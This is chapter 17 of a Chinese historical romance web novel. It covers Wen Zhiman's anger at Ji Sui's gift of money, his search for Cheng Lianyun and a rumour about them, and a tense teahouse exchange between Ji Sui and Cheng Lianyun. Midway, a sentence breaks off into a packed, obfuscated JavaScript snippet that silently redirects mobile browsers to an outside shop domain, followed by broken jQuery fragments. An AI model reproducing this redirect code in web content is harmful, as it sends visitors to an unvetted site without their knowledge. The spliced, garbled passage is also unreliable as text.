17. 程大人在教我做事?
    天际尚有寥寥几颗星辰绕着月亮,随着渐亮的天幕而暗淡消失。

    季随思忖到天亮,也没琢磨懂温知满是何用意,于是让青隐赶在温知满出门前,往侯府送过去银票。

    温知满乘着侯府的马车慢悠悠出门,蓦地被人拦住了马车,他还以为是常冶鼎让人来找麻烦了,猛地撩开帘子,却见是青隐立在旁边。

    青隐眼下两片乌青,说起的话都有些轻飘飘的:“世子,这是我家公子让我带给您的东西。”

    温知满眉梢扬了扬,揉了揉困倦的眼睛,接过信封一看,却见里面放着的是一张一百两银票,旁边还有张纸条。

    纸条上金钩铁划:六十两现银不便携带,这是一百两银票。

    温知满嘴角绷直,一点点把纸揉成一团攥在手心中,仿佛手中攥着的是季随,他举起那轻飘飘的一百两巨款:“你家公子什么意思?”

    青隐观温知满脸色不对,心中嘀咕,那封信难道不是要钱的吗?主子理解错了?

    他小心道:“可能就是单纯钱多,想给世子花。”

    温知满瞬间精神了,一股气从胸腔直冲头顶,燥红了耳根,他把银票拍到青隐身上,口中骂骂咧咧道:“我呸!有几个臭钱了不起吗?还用得着你季随给?”

    怎么,看不起他的六十两欠条?还是在嘲笑自己连六十两谢礼都拿不了?

    青隐能扛能打,此时也不由得茫然地愣在原地,吃着侯府马车轮子扬起的灰。

    温知满让人策马,自己坐在车厢中,越想越气不过,他撩开帘子探出头,对着愣住后方的青隐喊道:“回去告诉他,区区六十两谢礼,我就算现在拿不出来,早晚也会拿出来的!”

    小侯爷温知满有诸多想做的事情,风花雪月、仗剑天涯、广交侠士,如今败在钱上,不得不每日去宫里当值,领着从留宣侯手中抠出来的微薄薪水。

    他温知满到正阳门的时候不早不晚,正是大批官员入宫的时候,经青隐路上一拦,肯定已经错过了程连云进宫的时间,于是也没有在夹道中等待,直接去了兵部。

    他路上又花了点小钱,找了位行人司的小吏入内廷给六科的胡近世传话,约上一面,打算把才得来的常冶鼎的罪证交给胡近世。

    温知满对于这种清官,倒是没什么嫌怨的,只是有时候也会觉得这些人轴的厉害,听风是风、听雨是雨的,有些误会还是当面说为好。

    大概是昨日的情况吓到了李郎中,今日李郎中和他说话的时候都两眼发直,也不敢像之前那样把一堆公务给温知满,只挑了几个简单点的意思意思。

    温知满处理公文的时候也感觉到了不对劲,回头看了眼李郎中暗含打量的目光。

    他露齿一笑,鼻尖的红痣随之一动,笑容明媚又亲近道:“李郎中看我做什么?”

    李郎中默默地举起公文挡住脸,装成一副繁忙的模样。

    温知满收回视线,嗤笑一声,倒是乐在清闲。

    常冶鼎昨晚上被人发现之后就带回了常府,今早还派人去吏部告了假,估计短时间内不敢轻举妄动,急着如何自保才是正事。

    至此常冶鼎的事情算是告一段落了,温知满靠在椅子上,手指百无聊赖地摩挲着衣袍上的暗纹,这几日忙着如何蹲常冶鼎,一连好几日都没有遇见程连云。

    这人来得早走得迟,他若是不顺着对方的时间来,还真不容易蹲到对方。

    李郎中看完手头的公文,才想起来另外一件事,走过去和温知满说道:“后几日藩属国入京,下官带着仪仗队和礼部的人一起。”

    李郎中斟酌着用词:“世子就跟着其他官员走在一起,不入大殿,等礼部的人安排好后,可带着侍卫巡查宴会。”

    温知满心中算了算时间,还有好几天,他挥手道:“还早,到时候你再与我说。”现在说了还是忘。

    李郎中轻缓地点了一下头,转身就要回到自己的桌前,温知满拉住他:“等等,这几日程连云有没有来找过我?”

    “程大人吗?”李郎中觑了眼温知满,诧然道,“世子不知?翰林院择了片新地儿,原来暂留在文华殿的翰林官全部迁往外廷。”

    换句话说,温知满就算在夹道中等到天荒地老也不会再遇见程连云了。

    温知满前几天光顾着盯梢常冶鼎,他一无所知地问:“几日前的事情了?”

    “有……四日了吧。”李郎中老眼缓缓看向别处,想离开这里。

    温知满拧紧了眉,一张巴掌大的脸庞覆着霜。

    李郎中又想起被套头暴打、今日没来当值、并且流言满天飞的常冶鼎。

    他肩膀抖了两下,甩开温知满的手就回到自己的公案前。

    程连云性子在温知满看来,其实是比较内敛的,就连当年的写信,若是没有温知满主动,两人也不会发展成后来的笔友。

    但这人做事周到,不辞而别很难想这是不是故意的。

    温知满视线停在窗外,忽然想起程连云之前来找自己的那次。

    这人除了做好自己的事情,很少见对方做在他规划外的事情,程连云当时找自己必定是有事,所以……他当时问了什么?

    李郎中的桌面被叩响,眼皮一抬,见温知满堵在他桌前,挡了大半光亮。

    温知满开门见山道:“最近京城在传什么流言吗?”那日程连云问自己听闻了什么传闻,他忙昏了头,也顾不上外界都在传些什么。

    李郎中抚了抚胡须,试探道:“听说常冶鼎被仇家打了,今日刚向吏部请了假。”

    “不是这个。”

    “那就是世子前几天被诬陷逛青楼的事情?”温知满摇头,“再往前一点。”

    逛青楼的事情发生在程连云来找他之后,程连云说的应当不是这件事。

    “哦哦、那该不会是坊间的流言蜚语吧?听闻赌坊现在在开赌世子什么时候能追到程探花,此乃荒诞无稽之……”李郎中把剩余的话咽回肚子里,

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222128|151214||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >都说文官擅长中庸之道,李郎中在朝中能把文章写得哪边都不得罪,也是老滑头了,此时猝不及防地中伤了温知满,实在意外。

    李郎中连忙低下头。

    温知满脸色微变,他若有所思地回到自己椅子上。

    他当年给程连云写信的时候,曾给程连云写过一封直抒胸臆的信,以表心意。

    待那信发往金陵的时候,他才发觉时机不妥当,又派人去追了回来,结果却没有人找到那封信。

    后来他往金陵去探望姨妈,自己也亲自找过,也是不知所踪。好在唯一确定的是当时程连云已经在赶往盛京的路上,并没有看见当时的那封信。

    那如今,是和程连云开诚布公的时机吗?

    *

    云汉楼。

    今日天气不好,茶楼里的人不多,寥寥几个人出现也只是从门前经过。

    二楼的花窗微微敞开,里面临窗坐着两人。

    “我从扬州赶往江南贡院考试,途中遇见下雨,我路上耽搁迟了一步。”程连云回忆着在金陵的事情,温和道,“当时世子在金陵,应当是和他的表兄弟一同在街上游玩,见我有麻烦,就帮了一把。”

    “我也不知道他们当时说了什么,只见世子过去说了几句,贡院的人就开门让我进去了,不然还得再等三年。”

    “后来我们就一直通信,这半年我进京赶考,一直没来得及联络,本以为两人就这样淡了,没想到今日还能再遇……”

    季随放下手中的茶盏,手中滚烫的茶水溅到手上他没有丝毫反应,只是用狭长的眼眸冷淡地端详着正在诉说的男人。

    窗外的雨斜吹入屋里,程连云起身走到窗前,感慨道:“当时我去贡院的时候,就似这般雨,山路泥泞湿滑,不便行走。”他合上窗户,笑道,“今日感慨颇多,话多了些。”

    “程大人今日找我,到底是为了说什么?”

    程连云今日说有事找他,他赴了约,对方东扯西扯不知道想说什么。

    季随脸色有些冷。

    这些事情当初青隐去金陵的时候已经查过了,不需要程连云再复述。

    “我和世子认识一年有余,即使世子待我不薄,我却不敢逾矩。”程连云观了眼季随的神色,拿出当时李志劝说他的话说,“有大志者,自当洁身自好。”

    “世子去青楼,季二公子却为世子作证,此举不妥。”

    季随目光微移,似乎看见了什么有趣的事情:“我和程大人很熟吗?程大人在教我做事?”

    他笑了下,一张清隽淡漠的脸庞陡然变得诡谲,漫不经心道:“我与温知满相识十三年了,向来知道自己想要什么。程大人还是先看清自己,再来与我说教吧。”

    茶楼里,雅间的门轻轻打开又悄无声息地合上,风雨一吹,轻掩的窗户又吱呀打开。

    程连云站在原地愣了一会,视线中,那人撑着一把青色油纸伞,颜色淡雅的烟灰色长袍渐渐消失在了风雨中。